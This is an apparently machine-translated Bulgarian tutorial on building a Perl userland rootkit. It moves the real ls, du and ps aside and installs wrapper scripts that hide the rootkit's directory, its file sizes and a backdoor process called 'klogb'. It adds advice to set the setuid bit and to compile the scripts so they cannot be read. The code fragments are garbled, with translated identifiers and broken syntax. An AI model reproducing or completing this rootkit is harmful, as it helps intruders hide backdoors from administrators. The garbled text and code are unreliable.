Неговата не е ядрото руткит в Perl

Аз трябва да кажа, че аз няма да се пренапише инструменти като ли, PS, NETSTAT да се скрие
присъствието на руткит в системата. Аз ще направя много по-лесно, макар и не много по-безопасно - аз просто сменете
Тези полезни скриптове преработени аргументи, изпратени от командата конзола, а след това да пренасочват
първоначалното им полезност инсталиран в системата, след получаване на отговор от нея, тя се обработва, и
извеждане на потребителя обратно към конзолата. Въпреки че е възможно да се действа по различен начин. Можете просто опция
PATH /root/.bash_profile файл за добавяне на пътя към каталога на скриптове обработени отговори
комунални услуги. Това означава, че файловете на руткит, няма да могат да видят само един, който да влезете в системата на потребителя,
чиито .bash_profile имат /root/.bash_profile. Така че, ако сте сигурни, че никой освен вас в правилната система
Ruta няма да се получи, а след това можете да изберете втория вариант.

Първото нещо, което всички трябва да се анализира и да се разбере как да започнете да пишете руткит му. аз
Писането се разделят на три етапа:

1) създаване на програми, които се крият на руткит файлове;
2) създаване на програми прикриват процеси;
3) за написването на няколко сценарии за удобство на работа с руткит.

Да започваме. Както бе споменато по-рано, аз няма да се пренапише комунални услуги са налични в системата.
Аз съм просто ги движи. Аз съм създаване на руткит папка в директорията / бин и ще се преместят в полезността като
е необходимо. Това означава, че ако трябва да се замени ли, аз се движат оригиналните LS в директорията / хамбар / руткит и
на мястото на бившата Сложих сценария.

Тази линия, между другото, ще присъства в почти всички файлове на нашия бъдещ руткит.
Първото нещо, което трябва да се напише код, който проверява входните аргументи. Това означава, че ако някой работи една програма
реж опция за / хамбар / руткит, тогава отговорът ще покаже, че не е нашата директория атрибути, заедно със съобщение
на факта, че папката не съществува. Този код е доста лесна за изпълнение:

$ Хората с увреждания = `pwd`; # Определяне на местоположението на потребителя в системните каталози
foreach $ арг (@ARGV) # ​​проверка на всеки елемент от параметрите на масиви тече
ако (($ арг екв «/ хамбар / корен /») || ($ арг екв «корен») # 038; # 038; ($ PWD екв «бин»))
# Ако аргументът е / хамбар / корен -
# Местоположение на нашите папки с руткит, тогава следното

# Показва съобщение, че файл или папка, не е
# там
>

След стартирането на програма реж с опциите, които дойдоха в нашия скрипт.

променлива $ шер записът всички данни, които е издал реж полезност след тяхната работа. сега
преди извеждане на данните на потребителя, трябва да ги проверите за наличието на файловете с данни
ни корен. Това означава, че ако потребителят стартира реж помощната програма за папка / хамбар, отговорът няма да види папката
/ Bin / корен.

Останахме в нашия код на отчетената за променлива $ реж реж изхода на помощната програма. сега
което трябва да се справят правилно данните, и на изхода на потребителя.

@ Dirz = разделяне (/ /, $ реж); # Променлива $ реж се разделят на няколко, тя се раздели
# 2 Символи пространства и съхранява получените променливи в @dirz масив

Започваме проверка на данните, както и, ако е необходимо, сменете:

/ $ Kit_path /) # проверка за наличие на отговор / хамбар / руткит
ако (($ dirz =

/ Корен /) # 038; # 038; ($ PWD == »/ бин»)) # проверка за наличие на руткит на отговор
ако ($ брой == скаларни (@dirz)) # финес графика
изпълнение О =)
отпечатате «$ dirz«;
>

Преминете към дю. Опишете всички код Аз не виждам смисъл. Алгоритъм, мисля, че всеки вече знае. На първо място се провери аргументите
След това стартирате програмата, ще получим отговор, процеса и изхода
потребител. Skeleton може да служи за дю
нашия скрипт реж. И сега най-важното. дю полезност, както и LS, дават информация за размера на файловата система, както и
някои отделни атрибути за всеки файл. Това означава, че ако се извършва дю / хамбар или LS -l команда
/ Bin, е вероятно, че нашият корен ще бъдат разсекретени, тъй като размерът на всеки от нас е естествено конвертираните комунални услуги няма да бъдат същите
с оригиналния размер. Това е, което ние трябва да се скрие.
Тъй като ние все още не знаем точно кои файлове искате да ни скрие, ние ще направим универсалния код, това ще бъде тя
по всяко време, че е възможно нещо, което да приключи бързо и най-важното, какво би всичко това е работил.

@fake_tools = ( «/ ЮЕсАр / хамбар / реж», »/ ЮЕсАр / хамбар / дю»); # Преспи в масив от файлове, информация, която трябва да бъде
# регулирате

Сега пиша универсална функция за всички "feykovye" файлове.

под checkz <#функция checkz()
@ Fak = разделяне (/ \ //, $ фалшив); # Разделяне на символа "/" път към feykovye TOOLS

ако (скаларна (@fak) == 3) # ако масива @fak 3 елементи, т.е.
# Ако ние считаме, реж полезност - пътя си
# / ЮЕсАр / хамбар / реж, в масив от 4 елемента се вписва,
# И ако ние считаме / BIN / LS например,
# В масива ще има 3 елемента. Този код дава
# Незначителен брой аргументи за последващо
#
операции по тях

/ $ Fak [3] /) # 038; # 038 ($ хората с увреждания екв «/ $ FAK [1] / $ FAK [2]") || ($ Arg екв «$ фалшив»)) #
където $ арг - началото на спор
#
или линия в реж заглавния

@ Ediz = разделяне (/ \ т /, $ Диз);
ако ($ Duz =

Точно същия код можете да използвате в LS. само
Той има малко да се коригира на изхода вече създаде фалшива
ls'a. Изпълнение създаде фалшиви ли могат да бъдат намерени в архива с всички изходния код на руткит на диска.
Ако имате желание да пишете, някои други фалшиви програми, вие лесно ще успее с помощта на
алгоритъма, описан по-горе.

Така че, поздравления, третата част от нашия корен е готова. Ние се пристъпи към скривалището на нашите процеси. за да направите това,
ние трябва да се направи фалшив полезност к.с..

#! / ЮЕсАр / хамбар / Perl
$ Kit_path = »/ хамбар / корен»;
$ Proc = »klogb»; # Името на задната врата процес в системата
$ Т = 0;
@ Ps = `/ бен / PS @ ARGV`;

foreach $ арг (@ARGV)

foreach $ к.с. (@ps)

/ $ Proc /) # ако има нашата вратичка, не е извод
ако ($ к.с. =

/ $ Kit_path /) # ако процесът на работа от папката, той не се направи извод
ако (($ к.с. =

/ PS /)) #, когато работи / хамбар / PS в системата ще бъде 2 нов процес
# Тази Perl / бен / PS и PS, Perl / бен / PS = премахване)
ако ($ к.с. =

Фалшив к.с. готови за консумация глупави потребители.

И не забравяйте да я зададете + S 🙂

Малко въображение и руткит готов. Но какво, ако някой иска да направи една котка за пример / BIN / ли? Той вижда нашата перла скрипт. За какво
Това ще бъде първият път, никой не разбра какво улов, просто трябва да се съставят нашите перлени скриптове в двоичен
файлове полезност perlcc, която присъства във всички * Никс системи, базирани. Сега, ако някой прави котка
/ BIN / ли, че ще видите много неизвестни герои средностатистическият потребител на азбуката. Между другото, след като всички файлове са готови,
да ги управляват, трябва да инсталирате на своя 755-битов коригират 755 файл команда, за да станете
изпълним. И в крайна сметка, когато всички сурови кода е отстраняването на грешките, прави смела install.pl и отиде да се хваля пред приятелите си
samopisnaya l33t-0 дни 4ll н! х k3n3l r00tk! t0m.

Покажете тази статия на приятел: